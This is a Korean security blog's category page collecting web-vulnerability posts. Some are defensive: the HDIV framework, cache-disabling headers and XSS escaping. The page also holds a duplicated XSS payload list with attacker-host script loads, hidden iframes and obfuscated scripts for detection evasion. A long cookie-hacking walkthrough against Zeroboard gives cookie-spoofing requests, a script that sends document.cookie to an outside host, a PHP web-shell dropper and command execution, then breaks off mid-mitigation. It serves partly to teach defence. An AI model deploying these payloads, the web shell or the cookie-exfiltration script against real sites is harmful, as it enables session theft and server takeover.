'81.웹취약점&해결방안'에 해당되는 글 10건
- 2010.09.02 Hdiv 2
- 2010.09.02 HDIV HTTP Data Integrity Validator
- 2009.10.21 Servlet2.3 API Filter interface Implementation
- 2009.10.21 [WEB] cache 사용하지 않기
- 2009.10.21 [XSS 취약점 보완] Cross Site Scripting 방지 기법 - Commons Lang
- 2009.10.21 XSS (cross site scripting)
- 2009.10.21 cookie 해킹 개념잡기
- 2009.10.21 Cross-Site Scripting Vulnerabilities
- 2009.10.21 "IIS CSS (Cross-Site Scripting)" 취약점에 대한 패치 제공
- 2009.10.21 Cross Site Scripting(XSS)취약점 -FAQ
81.웹취약점&해결방안2010. 9. 2. 13:46
81.웹취약점&해결방안2010. 9. 2. 13:36
반응형
In order to solve web application vulnerabilities we have created HDIV (HTTP Data Integrity Validator) open source project.
We can briefly define HDIV as a Java Web Application Security Framework. HDIV extends web applications’ behaviour by adding Security functionalities, maintaining the API and the framework specification. This implies that we can use HDIV in applications developed in Struts 1.x, Struts 2.x, Spring MVC and JSTL in a transparent way to the programmer and without adding any complexity to the application development. It is possible to use HDIV in applications that don’t use Struts 1.x, Struts 2.x, Spring MVC or JSTL, but in this case it is necessary to modify the application (JSP pages).
The security functionalities added to the web applications are these:
INTEGRITY: HDIV guarantees integrity (no data modification) of all the data generated by the server which should not be modified by the client (links, hidden fields, combo values, radio buttons, destiny pages, etc.). Thanks to this property HDIV helps to eliminate most of the vulnerabilities based on the parameter tampering.
EDITABLE DATA VALIDATION: HDIV eliminates to a large extent the risk originated by attacks of type Cross-site scripting (XSS) and SQL Injection using generic validations of the editable data (text and textarea).
CONFIDENTIALITY: HDIV guarantees the confidentiality of the non editable data as well. Usually lots of the data sent to the client has key information for the attackers such as database registry identifiers, column or table names, web directories, etc. All these values are hidden by HDIV to avoid a malicious use of them. For example a link of this type, http://www.host.com?data1=12&data2=24 is replaced by http://www.host.com?data1=0&data2=1, guaranteeing confidentiality of the values representing database identifiers.
ANTI-CROSS SITE REQUEST FORGERY (CSRF) TOKEN: Random string called a token is placed in each form and link of the HTML response, ensuring that this value will be submitted with the next request. This random string provides protection because not only does the compromised site need to know the URL of the target site and a valid request format for the target site, it also must know the random string which changes for each visited page.
81.웹취약점&해결방안2009. 10. 21. 16:41
반응형
| Servlet2.3 API Filter interface Implementation | |||||||
| Servlet API 2.3에서 추가된 Filter interface를 이용한 Web tier Design Guideline 및 Example ( 2003/03/12 ) 248 | |||||||
| Written by specular - 전홍성 | |||||||
| 1 of 1 | |||||||
| |||||||
| 1 | |||||||
| References 출처 : http://www.50001.com/language/javaside/lec/javapattern_info/ee/servlet/Servlet2.3%20API%20Filter%20interface%20Implementation.htm | |||||||
81.웹취약점&해결방안2009. 10. 21. 11:46
반응형
중요 정보를 표시하는 화면의 경우
로그 아웃 후, 혹은 history back으로
다시 보기가 불가능해야한다.
cache를 사용하지 않기 위한 설정은 아래와 같다.
html
<meta http-equiv="Cache-Control" content="no-chache"/>
<meta http-equiv="Expires" content="0"/>
<meta http-equiv="Pragma" content="no-cache"/>
servlet
response.setHeader("Cache-Control", "no-chache");
response.setHeader("Expires", "Sat, 01 Jan 1970 22:00:00 GMT");
response.setHeader("Pragma", "no-cache");
php
header("Cache-Control:no-cache");
header("Expires:0");
header("Pragmano-cache");
asp
Response.AddHeader "Cache-Control", "no-cache"
Response.AddHeader "Expires", "0"
Response.AddHeader "Pragma", "no-cache"
출처: Enterprise Application Design Core p228
[출처] [WEB] cache 사용하지 않기|작성자 밤바
81.웹취약점&해결방안2009. 10. 21. 11:44
반응형
Taglib 차원이 아닌 API 차원에서 XSS를 막아야할 경우
Commons Lang 패키지의 StringEscapeUtils를 사용할 수 있다.
81.웹취약점&해결방안2009. 10. 21. 11:41
반응형
오랜만에 XSS를 검색하다가 잘 정리된 사이트를 발견하여 정리해 둡니다.
XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 예를 들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.
글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.
1. XSS Test
일반적인 게시판에 <script>alert("XSS")</script>라고 입력하여 XSS라는 메시지 창이 뜨면 XSS취약점이 있는 것이다.
예제1) 사용자의 쿠키값을 획득
<script>alert(document.cookie);</script>
예제2) 클릭 시 악성코드가 있는 사이트로 이동
<a href="http://test.com/test.cgi?loc=<script src='http://attacker.com/test'></script>">Click</a>
2. iframe 태그
예제1) 숨겨진 iframe를 이용해 악성코드 사이트로 이동
<iframe src=" http://attack.com" width="0" height="0" frameborder="0"></iframe>
3. object 태그
예제1) 지정한 파일이 존재하지 않을 때 악성코드 사이트로 이동하도록 함.
<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>
4. div 기법
예제1) div 태그를 사용하여 이미지 등을 삽입시킨다.
<div style="position:absolute; left:200; top:90; z-index:2;">
<img src="images/test.jpg">
</div>
5. 인코딩 기법
예제1) 공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.
원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>
6. Obfuscated 기법
예제1) 인코딩 기법과 같이 우회하기 위해 사용한다.
<script language="javascript">
e = '0x00' + '5F';
str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
str = tmp = '';
for(i=0; i<str1.length; i+=3)
{
tmp = unescape(str1.slice(i,i+3));
str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
}
document.write(str);
</script>
7. 기타우회 방법 (이 방법은 정확히 이해가 안되네)
;</script><script>alert("xss");</scr..
출처 : http://blog.naver.com/sdream4?Redirect=Log&logNo=10046998900
XSS 해킹 동영상 : http://video.naver.com/2008010622482514720
XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 예를 들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.
글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.
1. XSS Test
일반적인 게시판에 <script>alert("XSS")</script>라고 입력하여 XSS라는 메시지 창이 뜨면 XSS취약점이 있는 것이다.
예제1) 사용자의 쿠키값을 획득
<script>alert(document.cookie);</script>
예제2) 클릭 시 악성코드가 있는 사이트로 이동
<a href="http://test.com/test.cgi?loc=<script src='http://attacker.com/test'></script>">Click</a>
2. iframe 태그
예제1) 숨겨진 iframe를 이용해 악성코드 사이트로 이동
<iframe src=" http://attack.com" width="0" height="0" frameborder="0"></iframe>
3. object 태그
예제1) 지정한 파일이 존재하지 않을 때 악성코드 사이트로 이동하도록 함.
<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>
4. div 기법
예제1) div 태그를 사용하여 이미지 등을 삽입시킨다.
<div style="position:absolute; left:200; top:90; z-index:2;">
<img src="images/test.jpg">
</div>
5. 인코딩 기법
예제1) 공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.
원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>
6. Obfuscated 기법
예제1) 인코딩 기법과 같이 우회하기 위해 사용한다.
<script language="javascript">
e = '0x00' + '5F';
str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
str = tmp = '';
for(i=0; i<str1.length; i+=3)
{
tmp = unescape(str1.slice(i,i+3));
str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
}
document.write(str);
</script>
7. 기타우회 방법 (이 방법은 정확히 이해가 안되네)
;</script><script>alert("xss");</scr..
출처 : http://blog.naver.com/sdream4?Redirect=Log&logNo=10046998900
XSS 해킹 동영상 : http://video.naver.com/2008010622482514720
81.웹취약점&해결방안2009. 10. 21. 11:39
반응형
쿠키해킹 개념잡기
이번 장에서 다룰 주제는 Web 에서 많이 쓰이는 Cookie 에 관한 내용이다.
Cookie 란 무엇인가? Web Language 에서 Cookie 는 여러가지에 유용하게 쓰인다.
Cookie 는 Client Computer 에 저장되는 것인데, CGI Program 에서는 이 Cookie 를
이용하여 좀 더 편리하고 간편한 CGI 를 짤 수도 있다. 예를 들어 Web Board 에서
각 Page 마다 인증이 필요한 경우도 있다. 뭐 admin 만 Access 할 수 있다던지
하는 Page 일 경우에 말이다. 이럴 경우 매 Page 의 Head 부분에 Client Computer
에서 Cookie 를 받아와 Access 하려는 사용자가 권한이 되는지 안되는지 알 수
있게끔 Cookie 가 사용될 수도 있다.
여기에서는 한때 Issue 가 됐던 Cookie Sniffing 과 더불어 Cookie Spoofing,
Cookie 사용시 잘못된 알고리즘 등을 알아볼 것이다. 실제로 존재하는 CGI Program
인 Zeroboard 4.0.x 버전을 이용하겠다. 이 버그는 필자가 발견한 버그로, 요즘의
버전에는 Patch 가 되었다.
zeroboard 는 PHP 로 만들어져 있으며 DATABASE 는 MySQL 을 사용하고 있다.
문제가 되는 부분은 zeroboard 에서 cookie 인증을 할때 잘못된 알고리즘을 사용
하기 때문이다.
문제가 되는 주요 소스는 zeroboard 에서 lib.php 이다.
1 function member_info()
2 {
3 global $HTTP_COOKIE_VARS, $member_table, $now_table;
4 $cookie_userid=$HTTP_COOKIE_VARS[zetyxboard_userid];
5 $cookie_password=$HTTP_COOKIE_VARS[zetyxboard_password];
6
7 // 우선 쿠키가 존재할때;;
8 if($cookie_userid&&$cookie_password)
9 {
10 // 접속 테이블에도 있는지를 검사;;
11 $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
12 user_id='$cookie_userid'"));
13 // 접속테이블에도있으면 값을 갖고 옴;;
14 if($check[0])
15 {
16 //다시 쿠키를 구움;;
17 setcookie("zetyxboard_userid",$cookie_userid,0,"/");
18 setcookie("zetyxboard_password",$cookie_password,0,"/");
19 mysql_query("update $now_table set logtime='".time()."' where
20 user_id='$cookie_userid'");
21 $member=mysql_fetch_array(mysql_query("select * from $member_table where
22 user_id='$cookie_userid' and password='$cookie_password'"));
23 }
24 else
25 {
26 setcookie("zetyxboard_userid","",0,"/");
27 setcookie("zetyxboard_password","",0,"/");
28 $member[level]=10;
29 }
30 }
31 else $member[level]=10;
32 return $member;
33 }
이 함수는 zeroboard lib.php 의 원본 소스중 이다. zeroboard 는 게시판에
가입한 멤버를 LEVEL 별로 설정할수 있는 등 커뮤니티 기능도 있다. 회원이
게시판을 이용할때 멤버에 대한 데이터를 가져오는 함수가 바로 이 member_info
함수이다.
첫번째 라인은 member_info 의 함수 정의이다. 3 번째 라인은 HTTP_COOKIE_VARS,
member_table, now_table 을 전역 변수로 설정해놓았고 4 번째 라인에서 cookie_userid
를 HTTP_COOKIE_VARS 의 zetyxboard_userid 로 설정하였다. 마찬가지로 5 번째
라인에서는 cookie_password 를 HTTP_COOKIE_VARS 의 zetyxboard_password 로
설정하였다.
HTTP_COOKIE_VARS 는 client (즉 사용자) 에서 전달해주는 cookie 값을 담아놓는
변수이다.
zetyxboard_userid 나 zetyxboard_password 같은 cookie 설정은 사용자가 login
페이지를 통해서 login 을 할때 설정이 된다.
cookie 설정 역시 lib.php 파일에서 check_login 함수에서 이루어진다.
1 /////////////////////////////////////////////////////////////////////////
2 // 로그인 시키는 부분
3 /////////////////////////////////////////////////////////////////////////
4 function check_login($user_id,$password)
5 {
6 global $connect, $member_table, $now_table, $id;
7 $check=mysql_fetch_array(mysql_query("select * from $member_table where
8 user_id='$user_id' and password=password('$password')"));
9 if($check[no])
10 {
11 $password=mysql_fetch_array(mysql_query("select password('$password')"));
12 setcookie("zetyxboard_userid",$user_id,0,"/");
13 setcookie("zetyxboard_password",$password[0],0,"/");
14
15 $temp=mysql_fetch_array(mysql_query("select count(*) from $now_table
16 where user_id='$user_id'"));
17 if($temp[0]) mysql_query("update $now_table set logtime='".time()."'
18 where user_id='$user_id'");
19 else mysql_query("insert into $now_table (user_id,group_no,logtime)
20 values ('$user_id','$check[group_no]','".time()."')");
21
22 return 1;
23 }
24 else Error("로그인을 실패하였습니다.");
25 }
7 번째 라인은 사용자가 전달한 id 와, password 값으로 member_table 에 실제로
존재하는 사용자인지 확인한다. 만약 올바른 사용자라면 check_login 함수는
client 에게 (보통 웹브라우저를 말합니다.) setcookie 함수를 이용하여 cookie를
설정하여 준다. zetyxboard_userid 와 zetyxboard_password 가 cookie 이다.
그리고 15 번째 줄부터 게시판에 현재 접속된 사용자의 ID 를 담아놓는 now_table
에 ID 를 update 를 하거나 추가를 한다. (만약 사용자가 정해진 시간동안 아무
런 페이지도 읽지 않거나, logout 을 하면 now_table 에서 사용자의 ID 가 삭제
됩니다. 그렇게 되면 login 이 안된 상태가 된다.)
다시 취약점의 근원이 되는 member_info 함수로 돌아가보자. member_info 함수는
이 사용자가 정당한 사용자인지 검사를 하는 기능도 있다. 첫번째로 사용자가
zetyxboard_userid 와 zetyxboard_password 쿠키가 있는지 확인한다. 이 확인은
8 번째 줄에서 한다. 그리고 또 한번의 확인으로 zeroboard 에서 사용하는 now_
table 에도 zetyxboard_userid 값이 담겨있는지 확인한다. 만약에 접속테이블에
도 사용자의 ID 가 있다면 이 사용자는 올바른 사용자이다.
하지만 여기에서 문제가 발생한다. 첫번째 확인에서 zetyxboard_userid 와 zetyx
board_password 쿠키는 사용자가 임의로 만들어서 보낼 수 있고, 두번째는 접속 테
이블에도 있는지 검사를 할때 zetyxboard_userid 만 갖고 체크를 하기 때문에
zetyxboard_password 가 정확하지 않더라도 상관이 없다. 그래서 해커가
zetyxboard_userid 와 zetyxboard_password 쿠키를 임의로 만들고, 현재 접속이 되어
있는 사용자의 ID 로 zetyxboard_userid 를 설정한다면 member_info 함수에서 해커는
올바른 사용자가 될 수 있다.
여기까지의 방법으로 우리는 접근할 수 없는 게시판과, 게시물을 읽을수가 있다.
(접근할 수 없는 경우는 사용자의 레벨과 접근하려는 게시판의 허용 레벨이
안 맞기 때문이다.) 왜냐하면 member_info 함수에서 21~22 번 줄을 보자.
member_table 에서 zetyxboard_userid 와 zetyxboard_password 가 담긴 데이터를
찾고 그 결과를 member 변수에 담는다. 만약 올바른 사용자라면 member 변수에는
사용자의 LEVEL 이나 이름, ID, PASSWORD 가 담길것이다. 하지만 해커에게는
LEVEL, ID, 이름, PASSWORD 같은 것이 아닌 빈 값이 담기게 된다. 이유는 member
_table 에는 zetyxboard_userid 와 같은 데이터는 있어도 zetyxboard_password 도
같은 데이터는 없기 때문이다.
member 에 빈값이 담기기 때문에 해커는 PHP 에서 해당 LEVEL 이 되는지 안되는지
검사를 하는 부분을 통과할 수 있다. 그 부분을 살펴보도록 하자.
먼저 zboard.php 에서 특정 id 의 게시판에 접근할때 사용권한을 어떻게 체크
하는지 보면
zboard.php
1 if($setup[grant_list]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");
이렇다. 조건식을 살펴보자. $setup[grant_list] 는 각 게시판에 설정
된 접근 허용 LEVEL 과 비슷한 것이다. 만약 $member[level] 이 $setup[grant_
list] 값보다 크다면 접근이 허용되지 않으므로 2~4 번째의 ERROR 메세지가 뜨게
된다.
(zeroboard 에서는 LEVEL 이 낮을수록 실제로는 높은 걸로 인식한다. 두번째
조건식인 !$is_admin 는 만약 로그인한 사용자가 admin 이면 통과한다는 것을
의미한다.)
앞에서 말했듯이 해커는 member 에 빈값이 담기게 된다. 빈값은 0 과 같다.
그러면 조건식은 이렇게 될 것이다.
if($setup[grant_list]<0&&!$is_admin)
어떤 레벨이라도 0 보다 낮을수는 없을 것이다. 이와 같은 방법으로 해커는 사용권한을
체크하는 PHP 알고리즘을 통과하고 허용하지 않는 게시물이나 게시판에 접근을
할 수 있게 된다.
만약에 secret 라는 id 의 게시판이 있다고 하고, 실제로 어떻게 사용권한 체크를
통과하고 게시판을 읽을 수 있는지 알아보자.
1 telnet targetip 80
2 get http://targetip/zboard/zboard.php?id=secret HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호
결과 :
secret 게시판
15 번 승진님 안녕하세요................ 방문객 2005/06/26
14 번 여기 좋군요.... 나그네 2004/06/26
13 번 여기 뭐 이래요?? 지나가는이 2003/06/26
12 번 저는 말이에요.. 해커지망생 2002/06/26
..........
..........
1 번 라인은 targetip 의 웹서버인 80 번 포트로 접속을 하는 것이다. 2 번 라인
은 zboard.php 의 인수로 id=secret 를 주어서 secret 라는 게시판을 읽어들이겠다
고 알린것이고 3 번 라인은 Cookie 값을 첨부한 것이다. 여기서 zetyxboard_
password 는 아무 값이나 넣어줘도 된다.
이와 비슷한 방법으로 한 가지 더 경우를 보자. 게시물의 목록이 아닌 직접
게시물을 읽는 방법이다. view.php 에서의 사용 권한 체크 루틴을 보자.
view.php
1 if($setup[grant_view]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");
view.php 의 인자로 id 와 no 가 들어가는데 id 는 해당 게시판의 id 를 뜻하고
no 는 해당 게시판의 글 번호를 뜻한다.
위에서도 역시 마찬가지로 member 는 빈값, 즉 0 이니 조건식을 이상 없이
통과할 수 있을 것다.
그럼 실제로 어떻게 사용권한 체크를 통과하고 게시물을 읽을 수 있는지 알아
보자. 여기서 id 는 secret 이고 글번호는 444 라고 하자.
1 telnet targetip 80
2 get http://targetip/zboard/view.php?id=secret&no=444 HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호
결과 :
444 번 글
이름 : 이승진
제목 : 전 이승진이랑께롱~
본문 : 케케케~.. 음.. 할말이 없군..
2 번 라인은 view.php 스크립트에 secret 를 id 로 줬고 글 번호 444 를 요청하였
다. 그리고 3 번 라인에서 Cookie 값을 첨부하였다.
주의할 점은 zetyxboard_password 의 값은 임의로 넣어줘도 되지만 비어있어서는
안된다.
게시판을 읽거나 게시물을 읽는 방법 말고도 다른 여러 가지 방법이 있는데 여기서
한 가지 방법을 더 알아보겠다. trace.php 라는 스크립트는 파일명 그대로
서버에 설치된 zeroboard 와 관련된 것들을 추적해 주는 스크립트이다. 이 스크
립트 역시 사용 권한을 체크하여 admin 만이 사용할 수 있게 해놓았지만 member에
빈 값이 들어가는 것을 이용하여 통과할 수 있다.
가령 beist 라는 사람이 글 쓴 것들에 대해서 보고 싶다는 주어진 검색식으로
추적을 시작하면 beist 의 IP 와 어떤 게시판에다 글을 썼는지 그런 정보들이
나오게 된다.
trace.php 에서는 어떤 식으로 사용 권한 체크를 하는지 알아보자.
trace.php 소스 설명 공격 설명
1 $member=member_info();
2 if($member[is_admin]>1||$member[level]>1)
3 Error("최고 관리자만이 사용할수 있습니다");
1 번 라인에서는 member_info 를 불러오고 그 리턴값을 $member 에 저장한다.
2 번 라인의 조건식은 만약 admin 이 아니라면 3 번 라인에서 Error 를 출력하도록
한다.
trace.php 의 실제 이용방법을 알아보자.
1 telnet targetip 80
2 get http://targetip/zboard/admin/trace.php?keykind[0]=name&keyword=이승진
HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=아무거나;
결과 :
test1 게시판
[kekek] test (2001-12-05 21:40:04 / beist-ip)
[kekek] tet (2001-12-05 21:42:25 / beist-ip)
[kekek] asdf (2001-12-05 21:44:40 / beist-ip)
[kekek] asdf (2001-12-05 21:46:23 / beist-ip)
[kekek] vvvvv (2001-12-05 21:47:00 / beist-ip)
2 번라인에서는 keykind[0]=name 을 주어서 keyword 검색을 이름으로 하겠다고
전하고 이름에 이승진을 넣은 것이다.
keykind 의 종류는 다음과 같다.
keykind[0]=name
keykind[1]=email
keykind[2]=ip
keykind[3]=subject
keykind[4]=memo
위와 같은 keykind 로 검색할수 있고, keyword 에는 검색할 내용만 적으면 된다.
예를 들어 keykind[1]=email 로 지정해두었다면 keyword 에 beist@hanmail.net
이라고 적으면 된다.
하지만 이 방법으로는 게시판을 보거나 게시물을 추적할 수 있지만 명령어를 실행
하지는 못한다. 웹에서 해커의 궁극적인 목표는 명령어 실행이지 않은가?
이제부터 명령어 실행의 버그들에 대해서 알아보겠다. zeroboard 에서는 admin
메뉴에서 header 와 footer 에 (게시판의 머리말과 꼬리말 정도이다.) admin 이
원하는 특정 파일을 지정을 할 수가 있다. 보통은 인사말이나 특정 페이지를
같이 넣고 싶을때 header 와 footer 를 사용하지만 cracker 는 이 것을 이용하여서
명령어 실행을 할 수 있다. (header 와 footer 의 파일은 zboard.php 에서
include 합니다. 즉 zboard.php 파일이 웹에서 읽어질때 head 와 foot 에 include
한 파일을 뿌려주는 것이다.)
먼저 제로보드의 특정 자료실에 악의적인 파일을 하나 올린다.
<?
system("echo -n " <? passthru($" > imnotj.php");
system("echo -n "cmd); ?>" >> imnotj.php");
echo "<font size=5>keke";
?>
<? passthru($cmd); ?>
이 소스의 기능은 imnotj.php 라는 악의적인 스크립트를 하나 생성한다. imnotj.
php 에 담기는 내용은 <? passthru($cmd); ?> 가 될 것이다. imnotj.php 의
기능은 서버에서 해커가 원하는 특정 명령어를 실행할 수 있게끔 된 소스이다.
자료를 올릴 때 제로보드의 필터링에 걸리면 안될것이다? 제로보드는 php, html, php3
같은 확장자의 파일을 못 올리게 필터링을 한다. 그래서 위의 코드가 담긴 확장자를
txt 로 저장하고 서버에 올리자. (txt 를 필터링하는 자료실은 아무데도 없을것이다)
굳이 txt 확장자가 아닌 zip 이나 jpg 같은 확장자도 상관은 없다.
만약 test.txt 라는 파일을 올렸다면 서버 상에서 /webdirectory/zboard/data/test.
txt 라는 곳에 위치할 것이다. (webdirectory 는 가상으로 만들어 낸 것이며 실제
로는 /home/beist/public_html 정도가 나올 것이다.)
그리고 admin 메뉴에서 header (혹은 footer) 에 /webdirectory/zboard/data/test.
txt 라고 지정을 하면 zboard.php 에서는 test.txt 를 include 할 것이다. 위와
같은 코드를 include 하였으니 웹에서 zboard.php 파일을 열때 imnotj.php 라는
파일이 생성될 것이다.
그렇다면 admin 메뉴에는 어떻게 들어갈 것인가? admin 메뉴는 말 그대로 admin 만
들어갈 수 있다. admin 암호가 없으면 못들어간다는 이야기이다. 그래서 우리는
admin 암호를 알아내야 한다. 쿠키 스니핑을 이용해야겠다. 하지만 zero
board 에서는 password 를 암호화해서 저장하기 때문에 쿠키 스니핑으로 암호를
빼온다고 해도 login 페이지에서 암호를 입력할 수가 없다. (암호화된 문자열을
crack 하여서 원래의 암호 문자열을 얻을 수도 있겠지만 그 방법은 너무 오래걸리고
가능성도 희박한 방법이다. 암호가 쉽지 않은한)
그래서 우리는 쿠키스니핑으로 암호를 빼오고, login 페이지에 암호를 넣는 것이
아니라 실제 admin 페이지에 직접적으로 Cookie 값을 전달해야 한다.
어떤 식으로 admin 의 password 를 빼올 수 있는 지 살펴보자.
자바 스크립트를 써서 쿠키를 빼올 것이다. 자바 스크립트를 게시판이나 쪽지에
쓰면 되는데 여기에선 쪽지를 이용하는 방법을 사용하겠다. zeroboard 의 쪽지
기능을 이용하여 admin 에게 쪽지를 보낸다. html 사용에 check 를 하고..
javascript 로 쿠키를 빼오는 스크립트
-----------------------------------------------------------------------------
1 <script language=javascript>
2 window.open("http://beist.org/test.php?cook="+document.cookie);
3 </script>
4 HELLO ADMIN!
-----------------------------------------------------------------------------
1 번째 라인은 javascript 를 사용할 것이라고 선언을 하는 것이고 2 번째 라인은
http://beist.org/test.php 의 스크립트를 웹브라우저의 document.cookie 를 인수로
여는 것이다. 보통 CGI 는 다음과 같은 방식으로 인수를 전달한다.
sample CGI script
echo.php
<? echo "hello $insu"; ?>
위의 echo.php 는 $insu 라는 변수를 출력해주는 스크립트이다. 웹브라우저에서
http://beist.org/echo.php?insu=beist 이런 식으로 페이지를 요청하면 echo.php
에서는
hello beist
라는 문자열을 되돌려준다.
쿠키를 빼오는 스크립트인 test.php 의 인수의 이름으로 cook 을 주었고 그 값에는
현재 웹브라우저의 cookie 값이 담겨 있는 document.cookie 를 지정하여 주었다.
zeroboard 에서 admin 에게 담기는 cookie 는 다음과 같은 값이다.
zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
(zetyxboard_password 의 값은 임의로 설정한 값이다.)
이제 test.php 에서는 넘어온 인수를 처리해야 한다. 예를 들어 넘어온 쿠키값을
서버에 저장하는 방법등을 사용해야 한다.
test.php
<?
$fp=fopen("/tmp/zerohack", "a++");
fputs(" 제로보드 쿠키값 $cookn");
?>
간단한 스크립트이다. test.php 는 /tmp/zerohack.txt 을 열어서 넘어온 인수값인
$cook 을 집어넣는다.
넘어온 쿠키값이 만약
zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
라고 하면 /tmp/zerohack.txt 에는
제로보드 쿠키값 zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
이 담기게 될것이다.
이제 넘어온 쿠키값을 이용하여 admin 페이지에 직접 Cookie 를 보내 접속을 하는
방법을 알아보자.
여기서는 telnet 을 이용하겠다. telnet 으로 상대방의 웹서버에 접속을 한다.
(보통 웹서버는 80 번 포트를 쓴다.)
1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
어쩌고.. 저쩌고..
.................
.................
(위에서 1, 4, 5 번 라인은 직접 입력해야 하는 부분이다.)
설명을 하자면 1 번 라인은 targetip 의 80 번 포트로 연결을 시도하겠다는
의미이고 4 번 라인은 target 의 /zboard/admin_setup.php 라는 파일을 열겠다는
의미다. 그리고 5 번 라인은 zetyxboard_userid 와 zetyxboard_password 를
쿠키로 보내겠다는 의미다.
그러면 admin_setup.php 에서는 admin 인증을 할 것이다. 만약 password 가 맞다면
해커는 무사히 통과를 하고 admin_setup.php 를 볼 수 있을 것이다.
위에서 설명한 header 나 footer 에 test.txt 라는 파일을 지정하려면 어떻게
해야하는지 알아보자.
1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php?no=3&exec=view_board&
exec2=modify_ok&page=1&group_no=1&name=haha&skinname=zero_cyan&
only_board=1&header_url=/var/www/html/zboard/data/test.txt&use_html=1&
memo_num=20&cut_length=0&bg_color=white&table_width=95&page_num=10&
header=<div%20align=center>&footer=</div> HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
4 번 라인만 설명하겠다. admin_setup.php 의 인수로 여러개가 들어갔다.
주요 인수를 말하자면 exec2 와 no, 그리고 header_url 이다. no 는 게시판의
번호를 뜻한다. (게시판이 여러개 있을때 각각의 고유번호가 있다.)
exec2 는 admin_setup.php 페이지를 어떤 mode 로 열 것인지 선택하는 것이다.
여기서는 modify_ok mode 로 열었다. 가장 중요한 header_url 은 header
file 로 어떤 것을 지정할 것인지 선택하는 부분이다. 여기서 지정한 header
file 은 /var/www/html/zboard/data/test.txt 이다. 이제 include 하였으니
zboard.php 를 열때 test.txt 스크립트가 작동이 되면서 imnotj.php 라는
파일이 생성이 될 것이다.
이제 해커는 imnotj.php 파일을 통해서 서버에 특정 명령을 실행시킬 수 있다.
ex)
http://targetip/zboard/data/imnotj.php?cmd=whoami
결과 = nobody
이상이 zeroboard 에서 쿠키 스니핑, 쿠키 스푸핑, 잘못된 알고리즘을 이용한
공격 방법이다.
해결책을 알아보자.
쿠키 스니핑
먼저 Cookie Sniffing 에 대한 대책을 알아보자. Cookie Sniffing 은 Cracker
가 TAG 를 쓸수 있는 환경하에서 이루어진다. Cookie 는 Web Browser 에 담기게
되는데 Cookie 를 감출 수도 없는 노릇이고 Cookie 사용을 불가피하게 해야하는
경우의 대처법은 사용자가 TAG를 쓸 수 없도록 해야한다.
거의 모든 TAG 의 시작은 < 로부터 시작한다. 그래서 <를 없애거나 < 문자로
치환시키는 방법이 좋다.
eregi_replace("<", "<", $comment);
이런 식으로 $comment 의 내용중에 < 가 존재한다면 < 로 바꾸게 끔 만들어
주었다.
쿠키 스푸핑
Cookie Spoofing 에 대한 대책을 알아보자. Cracker 가 Admin 의 Cookie를 가져와서
Cookie Spoofing을 이용해 Admin Menu 에 접근하게 된다. 첫 번째로 Cookie를
도둑맞지 않기 위해 Cookie Sniffing을 막는 것이 중요하지만 Cookie를 도둑맞았을때의
경우도 대비해야 할 것이다.
필자는 이에 대한 대비로 Cookie 만을 쓰는 것이 아니라 Cookie + Session 의 조합을
사용하길 바란다. 하지만 Cookie 만을 쓰려고 할때의 필자가 생각하는 대응책을 설명
하겠다.
위의 Zeroboard 의 경우에서 보면 현재 접속되어 있는지 확인하는 부분이 있다.
now_table 에 해당하는 ID 가 있으면 통과하는 것이고 없으면 통과를 못하는 것인데
table 의 구조를 약간 변형하여 IP 도 담는 것이다.
예를 들어 $userip 라는 변수를 선언하고 이 변수는 사용자로부터 입력을 받지
않고 PHP 환경변수인 $REMOTE_ADDR을 이용하는 것이다. 이렇게 하면 cracker 가
